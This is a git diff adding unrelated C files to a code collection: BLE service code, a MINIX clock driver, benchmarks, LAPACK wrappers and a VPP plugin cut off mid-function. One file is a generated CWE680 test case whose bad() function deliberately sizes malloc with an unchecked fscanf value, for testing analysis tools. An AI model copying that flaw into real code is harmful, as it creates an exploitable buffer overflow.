+#define HANDLE_LENGTH 2 /**< Length of handle inside GPIO Test Service packet. */
+
+/* TODO Consider changing the max values if encoded data for characteristic/descriptor is fixed length */ 
+#define MAX_LED_LEN (BLE_L2CAP_MTU_DEF - OPCODE_LENGTH - HANDLE_LENGTH) /**< Maximum size of a transmitted Led. */ 
+#define MAX_BUTTON_LEN (BLE_L2CAP_MTU_DEF - OPCODE_LENGTH - HANDLE_LENGTH) /**< Maximum size of a transmitted Button. */ 
+
+/**@brief Function for encoding Led.
+ *
+ * @param[in]   p_led              Led characteristic structure to be encoded.
+ * @param[out]  p_encoded_buffer   Buffer where the encoded data will be written.
+ *
+ * @return      Size of encoded data.
+ */
+static uint8_t led_encode(ble_gpio_test_service_led_t * p_led, uint8_t * encoded_buffer)
+{
+    uint8_t len = 0; 
+    encoded_buffer[len++] = p_led->toggle_led;
+    return len;
+}
+
+/**@brief Function for decoding Led.
+ *
+ * @param[in]   data_len              Length of the field to be decoded.
+ * @param[in]   p_data                Buffer where the encoded data is stored.
+ * @param[out]  p_write_val           Decoded data.
+ *
+ * @return      Length of the decoded field.
+ */
+static uint8_t led_decode(uint8_t data_len, uint8_t * p_data, ble_gpio_test_service_led_t * p_write_val)
+{
+    uint8_t pos = 0;
+    p_write_val->toggle_led = p_data[pos++]; 
+
+    return pos;
+} 
+/**@brief Function for encoding Button.
+ *
+ * @param[in]   p_button              Button characteristic structure to be encoded.
+ * @param[out]  p_encoded_buffer   Buffer where the encoded data will be written.
+ *
+ * @return      Size of encoded data.
+ */
+static uint8_t button_encode(ble_gpio_test_service_button_t * p_button, uint8_t * encoded_buffer)
+{
+    uint8_t len = 0; 
+    encoded_buffer[len++] = p_button->button_state;
+    return len;
+}
+
+
+/**@brief Function for handling the Connect event.
+ *
+ * @param[in]   p_gpio_test_service       GPIO Test Service Service structure.
+ * @param[in]   p_ble_evt   Event received from the BLE stack.
+ */
+static void on_connect(ble_gpio_test_service_t * p_gpio_test_service, ble_evt_t * p_ble_evt)
+{
+    p_gpio_test_service->conn_handle = p_ble_evt->evt.gap_evt.conn_handle;
+}
+
+/**@brief Function for handling the Disconnect event.
+ *
+ * @param[in]   p_gpio_test_service       GPIO Test Service Service structure.
+ * @param[in]   p_ble_evt   Event received from the BLE stack.
+ */
+static void on_disconnect(ble_gpio_test_service_t * p_gpio_test_service, ble_evt_t * p_ble_evt)
+{
+    UNUSED_PARAMETER(p_ble_evt);
+    p_gpio_test_service->conn_handle = BLE_CONN_HANDLE_INVALID;
+}
+
+/**@brief Function for handling the Write event.
+ *
+ * @param[in]   p_gpio_test_service       GPIO Test Service Service structure.
+ * @param[in]   p_ble_evt   Event received from the BLE stack.
+ */
+static void on_write(ble_gpio_test_service_t * p_gpio_test_service, ble_gatts_evt_write_t * p_ble_evt)
+{
+    
+    if(p_ble_evt->handle == p_gpio_test_service->led_handles.value_handle)
+    {
+        if(p_gpio_test_service->evt_handler != NULL)
+        {
+            ble_gpio_test_service_evt_t evt;
+            evt.evt_type = BLE_GPIO_TEST_SERVICE_LED_EVT_WRITE;
+            led_decode(p_ble_evt->len, p_ble_evt->data, &evt.params.led);
+            p_gpio_test_service->evt_handler(p_gpio_test_service, &evt);
+        }
+    }
+    if(p_ble_evt->handle == p_gpio_test_service->button_handles.cccd_handle)
+    {
+        if(p_gpio_test_service->evt_handler != NULL)
+        {
+            ble_gpio_test_service_evt_t evt;
+            evt.evt_type = BLE_GPIO_TEST_SERVICE_BUTTON_EVT_CCCD_WRITE;
+            bds_uint16_decode(p_ble_evt->len, p_ble_evt->data, &evt.params.cccd_value);
+            p_gpio_test_service->evt_handler(p_gpio_test_service, &evt);
+        }
+    } 
+}
+
+/**@brief Authorize WRITE request event handler.
+ *
+ * @details Handles WRITE events from the BLE stack.
+ *
+ * @param[in]   p_sc_ctrlpt  SC Ctrlpt structure.
+ * @param[in]   p_gatts_evt  GATTS Event received from the BLE stack.
+ *
+ */
+static void on_rw_authorize_request(ble_gpio_test_service_t * p_gpio_test_service, ble_gatts_evt_t * p_gatts_evt)
+{
+    ble_gatts_evt_rw_authorize_request_t * p_auth_req = &p_gatts_evt->params.authorize_request;
+    if (p_auth_req->type == BLE_GATTS_AUTHORIZE_TYPE_WRITE)
+    {
+        if (   (p_gatts_evt->params.authorize_request.request.write.op
+                != BLE_GATTS_OP_PREP_WRITE_REQ)
+            && (p_gatts_evt->params.authorize_request.request.write.op
+                != BLE_GATTS_OP_EXEC_WRITE_REQ_NOW)
+            && (p_gatts_evt->params.authorize_request.request.write.op
+                != BLE_GATTS_OP_EXEC_WRITE_REQ_CANCEL)
+           )
+        {
+        
+            if (p_auth_req->request.write.handle == p_gpio_test_service->led_handles.value_handle)
+            {
+                on_write(p_gpio_test_service, &p_auth_req->request.write);
+            }
+        }
+    }
+}
+
+/**@brief Function for handling BLE events.
+ *
+ * @param[in]   p_gpio_test_service       GPIO Test Service Service structure.
+ * @param[in]   p_ble_evt   Event received from the BLE stack.
+ */
+void ble_gpio_test_service_on_ble_evt(ble_gpio_test_service_t * p_gpio_test_service, ble_evt_t * p_ble_evt)
+{
+    switch (p_ble_evt->header.evt_id)
+    {
+        case BLE_GAP_EVT_CONNECTED:
+            on_connect(p_gpio_test_service, p_ble_evt);
+            break;
+        case BLE_GAP_EVT_DISCONNECTED:
+            on_disconnect(p_gpio_test_service, p_ble_evt);
+            break;
+        case BLE_GATTS_EVT_WRITE:
+            on_write(p_gpio_test_service, &p_ble_evt->evt.gatts_evt.params.write);
+            break;
+         case BLE_GATTS_EVT_RW_AUTHORIZE_REQUEST:
+            on_rw_authorize_request(p_gpio_test_service, &p_ble_evt->evt.gatts_evt);
+            break;
+        default:
+            //No implementation needed.
+            break;
+    }
+}
+
+/**@brief Function for initializing the GPIO Test Service. */
+uint32_t ble_gpio_test_service_init(ble_gpio_test_service_t * p_gpio_test_service, const ble_gpio_test_service_init_t * p_gpio_test_service_init)
+{
+    uint32_t err_code;
+    ble_uuid_t ble_uuid;
+
+    // Initialize service structure
+    p_gpio_test_service->evt_handler = p_gpio_test_service_init->evt_handler;
+    p_gpio_test_service->conn_handle = BLE_CONN_HANDLE_INVALID;
+    
+    // Add a custom base UUID.
+    ble_uuid128_t bds_base_uuid = {{0xFC, 0x19, 0xA4, 0x5D, 0xFE, 0x29, 0x54, 0x8E, 0x1D, 0x46, 0x2C, 0x7E, 0x00, 0x00, 0x1C, 0x49}};
+    uint8_t       uuid_type;
+    err_code = sd_ble_uuid_vs_add(&bds_base_uuid, &uuid_type);
+    if (err_code != NRF_SUCCESS)
+    {
+        return err_code;
+    }
+    ble_uuid.type = uuid_type;
+    ble_uuid.uuid = 0x3B9C;
+        
+    // Add service
+    err_code = sd_ble_gatts_service_add(BLE_GATTS_SRVC_TYPE_PRIMARY, &ble_uuid, &p_gpio_test_service->service_handle);
+    if (err_code != NRF_SUCCESS)
+    {
+        return err_code;
+    } 
+
+    // Add Led characteristic
+    ble_gpio_test_service_led_t led_initial_value = p_gpio_test_service_init->ble_gpio_test_service_led_initial_value; 
+
+    uint8_t led_encoded_value[MAX_LED_LEN];
+    ble_add_char_params_t add_led_params;
+    memset(&add_led_params, 0, sizeof(add_led_params));
+    
+    add_led_params.uuid                = 0x6946;
+    add_led_params.uuid_type           = ble_uuid.type; 
+    add_led_params.max_len             = MAX_LED_LEN;
+    add_led_params.init_len            = led_encode(&led_initial_value, led_encoded_value);
+    add_led_params.p_init_value        = led_encoded_value; 
+    add_led_params.char_props.write    = 1; 
+    add_led_params.write_access        = SEC_OPEN; 
+    // 1 for variable length and 0 for fixed length.
+    add_led_params.is_var_len          = 1; 
+
+    err_code = characteristic_add(p_gpio_test_service->service_handle, &add_led_params, &(p_gpio_test_service->led_handles));
+    if (err_code != NRF_SUCCESS)
+    {
+        return err_code;
+    } 
+
+    // Add Button characteristic
+    ble_gpio_test_service_button_t button_initial_value = p_gpio_test_service_init->ble_gpio_test_service_button_initial_value; 
+
+    uint8_t button_encoded_value[MAX_BUTTON_LEN];
+    ble_add_char_params_t add_button_params;
+    memset(&add_button_params, 0, sizeof(add_button_params));
+    
+    add_button_params.uuid                = 0x02D8;
+    add_button_params.uuid_type           = ble_uuid.type; 
+    add_button_params.max_len             = MAX_BUTTON_LEN;
+    add_button_params.init_len            = button_encode(&button_initial_value, button_encoded_value);
+    add_button_params.p_init_value        = button_encoded_value; 
+    add_button_params.char_props.notify   = 1; 
+    add_button_params.char_props.read     = 1; 
+    add_button_params.read_access         = SEC_OPEN; 
+    add_button_params.cccd_write_access   = SEC_OPEN;
+    // 1 for variable length and 0 for fixed length.
+    add_button_params.is_var_len          = 1; 
+
+    err_code = characteristic_add(p_gpio_test_service->service_handle, &add_button_params, &(p_gpio_test_service->button_handles));
+    if (err_code != NRF_SUCCESS)
+    {
+        return err_code;
+    } 
+
+    return NRF_SUCCESS;
+}
+
+/**@brief Function for setting the Button. */
+uint32_t ble_gpio_test_service_button_set(ble_gpio_test_service_t * p_gpio_test_service, ble_gpio_test_service_button_t * p_button)
+{
+    ble_gatts_value_t gatts_value;
+    uint8_t encoded_value[MAX_BUTTON_LEN];
+
+    // Initialize value struct.
+    memset(&gatts_value, 0, sizeof(gatts_value));
+
+    gatts_value.len     = button_encode(p_button, encoded_value);
+    gatts_value.offset  = 0;
+    gatts_value.p_value = encoded_value;
+
+    return sd_ble_gatts_value_set(p_gpio_test_service->conn_handle, p_gpio_test_service->button_handles.value_handle, &gatts_value);
+}
+
+/**@brief Function for sending the Button. */
+uint32_t ble_gpio_test_service_button_send(ble_gpio_test_service_t * p_gpio_test_service, ble_gpio_test_service_button_t * p_button)
+{
+    uint32_t err_code = NRF_SUCCESS;
+
+    if (p_gpio_test_service->conn_handle != BLE_CONN_HANDLE_INVALID)
+    {
+        ble_gatts_hvx_params_t hvx_params;
+        uint8_t encoded_value[MAX_BUTTON_LEN];
+        uint16_t hvx_len;
+
+        // Initialize value struct.
+        memset(&hvx_params, 0, sizeof(hvx_params));
+
+        hvx_len           = button_encode(p_button, encoded_value);
+        hvx_params.handle = p_gpio_test_service->button_handles.value_handle;
+        hvx_params.type   = BLE_GATT_HVX_NOTIFICATION;
+        hvx_params.p_len  = &hvx_len;
+        hvx_params.offset = 0;
+        hvx_params.p_data = encoded_value;
+
+        err_code = sd_ble_gatts_hvx(p_gpio_test_service->conn_handle, &hvx_params);
+    }
+    else
+    {
+        err_code = NRF_ERROR_INVALID_STATE;
+    }
+
+    return err_code;
+}
+
diff --git a/pool/shard001/C/0024312_CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_fscanf_17.c b/pool/shard001/C/0024312_CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_fscanf_17.c
new file mode 100644
index 0000000000000000000000000000000000000000..804c7959a727165836773a8b249edaf6dd134f6d
--- /dev/null
+++ b/pool/shard001/C/0024312_CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_fscanf_17.c
@@ -0,0 +1,110 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_fscanf_17.c
+Label Definition File: CWE680_Integer_Overflow_to_Buffer_Overflow__malloc.label.xml
+Template File: sources-sink-17.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 680 Integer Overflow to Buffer Overflow
+ * BadSource: fscanf Read data from the console using fscanf()
+ * GoodSource: Small number greater than zero that will not cause an integer overflow in the sink
+ * Sink:
+ *    BadSink : Attempt to allocate array using length value from source
+ * Flow Variant: 17 Control flow: for loops
+ *
+ * */
+
+#include "std_testcase.h"
+
+#ifndef OMITBAD
+
+void CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_fscanf_17_bad()
+{
+    int i;
+    int data;
+    /* Initialize data */
+    data = -1;
+    for(i = 0; i < 1; i++)
+    {
+        /* POTENTIAL FLAW: Read data from the console using fscanf() */
+        fscanf(stdin, "%d", &data);
+    }
+    {
+        size_t i;
+        int *intPointer;
+        /* POTENTIAL FLAW: if data * sizeof(int) > SIZE_MAX, overflows to a small value
+         * so that the for loop doing the initialization causes a buffer overflow */
+        intPointer = (int*)malloc(data * sizeof(int));
+        for (i = 0; i < (size_t)data; i++)
+        {
+            intPointer[i] = 0; /* Potentially writes beyond the boundary of intPointer */
+        }
+        printIntLine(intPointer[0]);
+        free(intPointer);
+    }
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* goodG2B() - use goodsource and badsink by changing the conditions on the for statements */
+static void goodG2B()
+{
+    int h;
+    int data;
+    /* Initialize data */
+    data = -1;
+    for(h = 0; h < 1; h++)
+    {
+        /* FIX: Set data to a relatively small number greater than zero */
+        data = 20;
+    }
+    {
+        size_t i;
+        int *intPointer;
+        /* POTENTIAL FLAW: if data * sizeof(int) > SIZE_MAX, overflows to a small value
+         * so that the for loop doing the initialization causes a buffer overflow */
+        intPointer = (int*)malloc(data * sizeof(int));
+        for (i = 0; i < (size_t)data; i++)
+        {
+            intPointer[i] = 0; /* Potentially writes beyond the boundary of intPointer */
+        }
+        printIntLine(intPointer[0]);
+        free(intPointer);
+    }
+}
+
+void CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_fscanf_17_good()
+{
+    goodG2B();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+ * its own for testing or for building a binary to use in testing binary
+ * analysis tools. It is not used when compiling all the testcases as one
+ * application, which is how source code analysis tools are tested.
+ */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_fscanf_17_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_fscanf_17_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0024320_clkconf.c b/pool/shard001/C/0024320_clkconf.c
new file mode 100644
index 0000000000000000000000000000000000000000..86c3e120159072b0adf81d03d8975c546c3283e7
--- /dev/null
+++ b/pool/shard001/C/0024320_clkconf.c
@@ -0,0 +1,90 @@
+/* kernel headers */
+#include <minix/syslib.h>
+#include <minix/drvlib.h>
+#include <minix/log.h>
+#include <minix/mmio.h>
+#include <minix/clkconf.h>
+#include <minix/type.h>
+#include <minix/board.h>
+
+/* system headers */
+#include <sys/mman.h>
+#include <sys/types.h>
+
+/* usr headers */
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <string.h>
+#include <errno.h>
+#include <assert.h>
+
+/* used for logging */
+static struct log log = {
+	.name = "omap_clkconf",
+	.log_level = LEVEL_INFO,
+	.log_func = default_log
+};
+
+#define DM37XX_CM_BASE 0x48004000
+#define AM335X_CM_BASE 0x44E00000
+
+static u32_t base = 0;
+static u32_t use_count = 0;
+
+int
+clkconf_init()
+{
+	use_count++;
+	struct machine machine;
+	sys_getmachine(&machine);
+	u32_t cm_base = 0;
+
+
+	if (base != 0) {
+		/* when used in a library we can't guaranty we only call this
+		 * method once */
+		log_trace(&log, "Called %d times\n", use_count);
+		return OK;
+	}
+
+	if (BOARD_IS_BBXM(machine.board_id)){
+		cm_base = DM37XX_CM_BASE;
+	} else if (BOARD_IS_BB(machine.board_id)){
+		cm_base = AM335X_CM_BASE;
+	}
+	struct minix_mem_range mr;
+	mr.mr_base = cm_base;
+	mr.mr_limit = cm_base + 0x1000;
+
+	if (sys_privctl(SELF, SYS_PRIV_ADD_MEM, &mr) != 0) {
+		log_warn(&log, "Unable to request permission to map memory\n");
+		return EPERM;
+	}
+
+	base = (uint32_t) vm_map_phys(SELF, (void *) cm_base, 0x1000);
+
+	if (base == (uint32_t) MAP_FAILED) {
+		log_warn(&log, "Unable to map GPIO memory\n");
+		return EPERM;
+	}
+	return OK;
+}
+
+int
+clkconf_set(u32_t clk, u32_t mask, u32_t value)
+{
+	set32(base + clk, mask, value);
+	return OK;
+}
+
+int
+clkconf_release()
+{
+	assert(use_count > 0);
+	use_count--;
+	if (use_count == 0) {
+		vm_unmap_phys(SELF, (void *) base, 0x1000);
+	}
+	return OK;
+}
diff --git a/pool/shard001/C/0024323_safe329.c b/pool/shard001/C/0024323_safe329.c
new file mode 100644
index 0000000000000000000000000000000000000000..731215e3f14269644c18247c081ad54bd9837a02
--- /dev/null
+++ b/pool/shard001/C/0024323_safe329.c
@@ -0,0 +1,89 @@
+/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo
+ * This benchmark is part of SWSC */
+
+#include <assert.h>
+#include <stdint.h>
+#include <stdatomic.h>
+#include <pthread.h>
+
+atomic_int vars[4]; 
+atomic_int atom_0_r1_1; 
+atomic_int atom_0_r3_0; 
+atomic_int atom_2_r1_1; 
+atomic_int atom_2_r4_0; 
+
+void *t0(void *arg){
+label_1:;
+  int v2_r1 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
+
+  int v4_r3 = atomic_load_explicit(&vars[1], memory_order_seq_cst);
+  int v18 = (v2_r1 == 1);
+  atomic_store_explicit(&atom_0_r1_1, v18, memory_order_seq_cst);
+  int v19 = (v4_r3 == 0);
+  atomic_store_explicit(&atom_0_r3_0, v19, memory_order_seq_cst);
+  return NULL;
+}
+
+void *t1(void *arg){
+label_2:;
+  atomic_store_explicit(&vars[1], 1, memory_order_seq_cst);
+
+  atomic_store_explicit(&vars[2], 1, memory_order_seq_cst);
+  return NULL;
+}
+
+void *t2(void *arg){
+label_3:;
+  int v6_r1 = atomic_load_explicit(&vars[2], memory_order_seq_cst);
+  int v7_r3 = v6_r1 ^ v6_r1;
+  int v10_r4 = atomic_load_explicit(&vars[3+v7_r3], memory_order_seq_cst);
+  int v20 = (v6_r1 == 1);
+  atomic_store_explicit(&atom_2_r1_1, v20, memory_order_seq_cst);
+  int v21 = (v10_r4 == 0);
+  atomic_store_explicit(&atom_2_r4_0, v21, memory_order_seq_cst);
+  return NULL;
+}
+
+void *t3(void *arg){
+label_4:;
+  atomic_store_explicit(&vars[3], 1, memory_order_seq_cst);
+
+  atomic_store_explicit(&vars[0], 1, memory_order_seq_cst);
+  return NULL;
+}
+
+int main(int argc, char *argv[]){
+  pthread_t thr0; 
+  pthread_t thr1; 
+  pthread_t thr2; 
+  pthread_t thr3; 
+
+  atomic_init(&vars[3], 0);
+  atomic_init(&vars[1], 0);
+  atomic_init(&vars[2], 0);
+  atomic_init(&vars[0], 0);
+  atomic_init(&atom_0_r1_1, 0);
+  atomic_init(&atom_0_r3_0, 0);
+  atomic_init(&atom_2_r1_1, 0);
+  atomic_init(&atom_2_r4_0, 0);
+
+  pthread_create(&thr0, NULL, t0, NULL);
+  pthread_create(&thr1, NULL, t1, NULL);
+  pthread_create(&thr2, NULL, t2, NULL);
+  pthread_create(&thr3, NULL, t3, NULL);
+
+  pthread_join(thr0, NULL);
+  pthread_join(thr1, NULL);
+  pthread_join(thr2, NULL);
+  pthread_join(thr3, NULL);
+
+  int v11 = atomic_load_explicit(&atom_0_r1_1, memory_order_seq_cst);
+  int v12 = atomic_load_explicit(&atom_0_r3_0, memory_order_seq_cst);
+  int v13 = atomic_load_explicit(&atom_2_r1_1, memory_order_seq_cst);
+  int v14 = atomic_load_explicit(&atom_2_r4_0, memory_order_seq_cst);
+  int v15_conj = v13 & v14;
+  int v16_conj = v12 & v15_conj;
+  int v17_conj = v11 & v16_conj;
+  if (v17_conj == 1) assert(0);
+  return 0;
+}
diff --git a/pool/shard001/C/0024325_bench.c b/pool/shard001/C/0024325_bench.c
new file mode 100644
index 0000000000000000000000000000000000000000..f7a01ef18cd764b66207aa2c1b25adbf76b70618
--- /dev/null
+++ b/pool/shard001/C/0024325_bench.c
@@ -0,0 +1,111 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <arm_neon.h>
+#include "time.h"
+#include "blend.h"
+
+int main(){
+  printf("\nScaling benchmark started!\nHope you compiled right version=)\n\n");
+  int len = 10000000;
+  DATA32 *d0 = malloc(sizeof(DATA32)*len);
+  DATA32 *d1 = malloc(sizeof(DATA32)*len);
+  DATA32 *d2 = malloc(sizeof(DATA32)*len);
+  DATA32 *d3 = malloc(sizeof(DATA32)*len);
+#ifdef __arm__
+  DATA32 *d4 = malloc(sizeof(DATA32)*len);
+  DATA32 *d5 = malloc(sizeof(DATA32)*len);
+#endif
+  DATA32 *d6 = malloc(sizeof(DATA32)*len);
+  DATA32 *d7 = malloc(sizeof(DATA32)*len);
+  DATA8 *m = malloc(sizeof(DATA8)*len);
+  DATA32 *s = NULL;
+  int i;
+  srand(0);
+
+  DATA32 c = ((rand()&0xffff) << 16) + (rand()&0xffff);
+
+  for(i = 0; i < len; i++){
+    d0[i] =
+    d1[i] =
+    d2[i] =
+    d3[i] =
+#ifdef __arm__
+    d4[i] =
+    d5[i] =
+#endif
+    d6[i] =
+    d7[i] =
+          i+c;
+    m[i] = i&0xff;
+  }
+
+  //int alpha = (c>>24);
+  //c = ((MUL_256(alpha,c))&0xffffff)+(alpha<<24);
+
+  printf("10000000 pixels by _op_blend_mas_c_dp:\t");
+  start();
+  _op_blend_mas_c_dp(s, m, c, d0, len);
+  stop_n_print();
+
+  printf("10000000 pixels by _op_blend_mas_can_dp:\t");
+  start();
+  _op_blend_mas_can_dp(s, m, c, d1, len);
+  stop_n_print();
+
+  printf("10000000 pixels by _op_blend_mas_c_dp_neon_intrinsics:\t");
+  start();
+  _op_blend_mas_c_dp_neon_intrinsics(s, m, c, d2, len);
+  stop_n_print();
+
+  printf("10000000 pixels by _op_blend_mas_can_dp_neon_intrinsics:\t");
+  start();
+  _op_blend_mas_can_dp_neon_intrinsics(s, m, c, d3, len);
+  stop_n_print();
+
+#ifdef __arm__
+  printf("10000000 pixels by _op_blend_mas_c_dp_neon_inline:\t");
+  start();
+  _op_blend_mas_c_dp_neon_inline(s, m, c, d4, len);
+  stop_n_print();
+
+  printf("10000000 pixels by _op_blend_mas_can_dp_neon_inline:\t");
+  start();
+  _op_blend_mas_can_dp_neon_inline(s, m, c, d5, len);
+  stop_n_print();
+#endif
+  printf("10000000 pixels by _op_blend_rel_mas_c_dp:\t");
+  start();
+  _op_blend_rel_mas_c_dp(s, m, c, d6, len);
+  stop_n_print();
+
+  printf("10000000 pixels by _op_blend_rel_mas_c_dp_neon:\t");
+  start();
+  _op_blend_rel_mas_c_dp_neon(s, m, c, d7, len);
+  stop_n_print();
+
+  int ret = 0;
+  for(i = 0; i < len; i++){
+    if(
+#ifdef __arm__
+          (d4[i]!=d0[i]) ||
+          (d5[i]!=d1[i]) ||
+#endif
+          (d6[i]!=d7[i]) ||
+          (d3[i]!=d1[i]) ||
+          (d2[i]!=d0[i])
+      )
+      ret = 1;
+  }
+  free(d0);
+  free(d1);
+  free(d2);
+  free(d3);
+#ifdef __arm__
+  free(d4);
+  free(d5);
+#endif
+  free(d6);
+  free(d7);
+  free(m);
+  return ret;
+}
diff --git a/pool/shard001/C/0024336_eigen.c b/pool/shard001/C/0024336_eigen.c
new file mode 100644
index 0000000000000000000000000000000000000000..31ac0be961521a363fafee648f3481f0eefe1fb8
--- /dev/null
+++ b/pool/shard001/C/0024336_eigen.c
@@ -0,0 +1,47 @@
+#include <stdio.h>
+#include <string.h>
+#include "debug.h"
+#include "linalg.h"
+
+void dst_eval (int n, double *D, double *E) {
+    if (n<2 || !D || !E)
+        _error("No element in D or E vectors?");
+    int INFO = 0;
+    double *Z = 0;
+    double *WORK = (double *)malloc((2*n-2)*sizeof(double));
+    dstev_ ((char *)&_CHR_N,&n,D,E,Z,&n,WORK,&INFO);
+    free(WORK);
+}
+
+void dst_esys (int n, double *D, double *E, double **evec) {
+    if (n<2 || !D || !E)
+        _error("No element in D or E vectors?");
+    int INFO = 0;
+    double *WORK = (double *)malloc((2*n-2)*sizeof(double));
+    dstev_ ((char *)&_CHR_V,&n,D,E,*evec,&n,WORK,&INFO);
+    free(WORK);
+}
+
+void dsy_eval (int n, double **A, double *eval) {
+    if (n<1 || !A)
+        _error("No element in A matrix?");
+    int INFO = 0;
+    int LWORK = 3*n-1;
+    double *VECA = (double *)malloc(n*n*sizeof(double));
+    double *WORK = (double *)malloc(LWORK*sizeof(double));
+    memcpy(VECA,*A,n*n*sizeof(double));
+    dsyev_ ((char *)&_CHR_N,(char *)&_CHR_L,&n,VECA,&n,eval,WORK,&LWORK,&INFO);
+    free(WORK);
+    free(VECA);
+}
+
+void dsy_esys (int n, double **A, double *eval, double **evec) {
+    if (n<1 || !A)
+        _error("No element in A matrix?");
+    int INFO = 0;
+    int LWORK = 3*n-1;
+    double *WORK = (double *)malloc(LWORK*sizeof(double));
+    memcpy(*evec,*A,n*n*sizeof(double));
+    dsyev_ ((char *)&_CHR_V,(char *)&_CHR_L,&n,*evec,&n,eval,WORK,&LWORK,&INFO);
+    free(WORK);
+}
diff --git a/pool/shard001/C/0024338_abf_api.c b/pool/shard001/C/0024338_abf_api.c
new file mode 100644
index 0000000000000000000000000000000000000000..66121acbdf0900fc52ba6a5013856eca4b885e6a
--- /dev/null
+++ b/pool/shard001/C/0024338_abf_api.c
@@ -0,0 +1,262 @@
+/*
+ * Copyright (c) 2016 Cisco and/or its affiliates.
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stddef.h>
+
+#include <vnet/vnet.h>
+#include <vnet/plugin/plugin.h>
+#include <abf/abf_policy.h>
+#include <abf/abf_itf_attach.h>
+#include <vnet/mpls/mpls_types.h>
+#include <vnet/fib/fib_path_list.h>
+#include <vnet/fib/fib_api.h>
+
+#include <vpp/app/version.h>
+
+#include <vlibapi/api.h>
+#include <vlibmemory/api.h>
+
+/* define message IDs */
+#include <vnet/format_fns.h>
+#include <abf/abf.api_enum.h>
+#include <abf/abf.api_types.h>
+
+/**
+ * Base message ID for the plugin
+ */
+static u32 abf_base_msg_id;
+
+#define REPLY_MSG_ID_BASE (abf_base_msg_id)
+#include <vlibapi/api_helper_macros.h>
+
+static void
+vl_api_abf_plugin_get_version_t_handler (vl_api_abf_plugin_get_version_t * mp)
+{
+  vl_api_abf_plugin_get_version_reply_t *rmp;
+  vl_api_registration_t *rp;
+
+  rp = vl_api_client_index_to_registration (mp->client_index);
+  if (rp == 0)
+    return;
+
+  rmp = vl_msg_api_alloc (sizeof (*rmp));
+  rmp->_vl_msg_id =
+    ntohs (VL_API_ABF_PLUGIN_GET_VERSION_REPLY + abf_base_msg_id);
+  rmp->context = mp->context;
+  rmp->major = htonl (ABF_PLUGIN_VERSION_MAJOR);
+  rmp->minor = htonl (ABF_PLUGIN_VERSION_MINOR);
+
+  vl_api_send_msg (rp, (u8 *) rmp);
+}
+
+static void
+vl_api_abf_policy_add_del_t_handler (vl_api_abf_policy_add_del_t * mp)
+{
+  vl_api_abf_policy_add_del_reply_t *rmp;
+  fib_route_path_t *paths = NULL, *path;
+  int rv = 0;
+  u8 pi;
+
+  vec_validate (paths, mp->policy.n_paths - 1);
+
+  for (pi = 0; pi < mp->policy.n_paths; pi++)
+    {
+      path = &paths[pi];
+      rv = fib_api_path_decode (&mp->policy.paths[pi], path);
+
+      if (0 != rv)
+	{
+	  goto done;
+	}
+    }
+
+  if (mp->is_add)
+    {
+      rv = abf_policy_update (ntohl (mp->policy.policy_id),
+			      ntohl (mp->policy.acl_index), paths);
+    }
+  else
+    {
+      rv = abf_policy_delete (ntohl (mp->policy.policy_id), paths);
+    }
+done:
+  vec_free (paths);
+
+  REPLY_MACRO (VL_API_ABF_POLICY_ADD_DEL_REPLY);
+}
+
+static void
+vl_api_abf_itf_attach_add_del_t_handler (vl_api_abf_itf_attach_add_del_t * mp)
+{
+  vl_api_abf_itf_attach_add_del_reply_t *rmp;
+  fib_protocol_t fproto = (mp->attach.is_ipv6 ?
+			   FIB_PROTOCOL_IP6 : FIB_PROTOCOL_IP4);
+  int rv = 0;
+
+  if (mp->is_add)
+    {
+      abf_itf_attach (fproto,
+		      ntohl (mp->attach.policy_id),
+		      ntohl (mp->attach.priority),
+		      ntohl (mp->attach.sw_if_index));
+    }
+  else
+    {
+      abf_itf_detach (fproto,
+		      ntohl (mp->attach.policy_id),
+		      ntohl (mp->attach.sw_if_index));
+    }
+
+  REPLY_MACRO (VL_API_ABF_ITF_ATTACH_ADD_DEL_REPLY);
+}
+
+typedef struct abf_dump_walk_ctx_t_
+{
+  vl_api_registration_t *rp;
+  u32 context;
+} abf_dump_walk_ctx_t;
+
+static int
+abf_policy_send_details (u32 api, void *args)
+{
+  fib_path_encode_ctx_t walk_ctx = {
+    .rpaths = NULL,
+  };
+  vl_api_abf_policy_details_t *mp;
+  abf_dump_walk_ctx_t *ctx;
+  fib_route_path_t *rpath;
+  vl_api_fib_path_t *fp;
+  size_t msg_size;
+  abf_policy_t *ap;
+  u8 n_paths;
+
+  ctx = args;
+  ap = abf_policy_get (api);
+  n_paths = fib_path_list_get_n_paths (ap->ap_pl);
+  msg_size = sizeof (*mp) + sizeof (mp->policy.paths[0]) * n_paths;
+
+  mp = vl_msg_api_alloc (msg_size);
+  clib_memset (mp, 0, msg_size);
+  mp->_vl_msg_id = ntohs (VL_API_ABF_POLICY_DETAILS + abf_base_msg_id);
+
+  /* fill in the message */
+  mp->context = ctx->context;
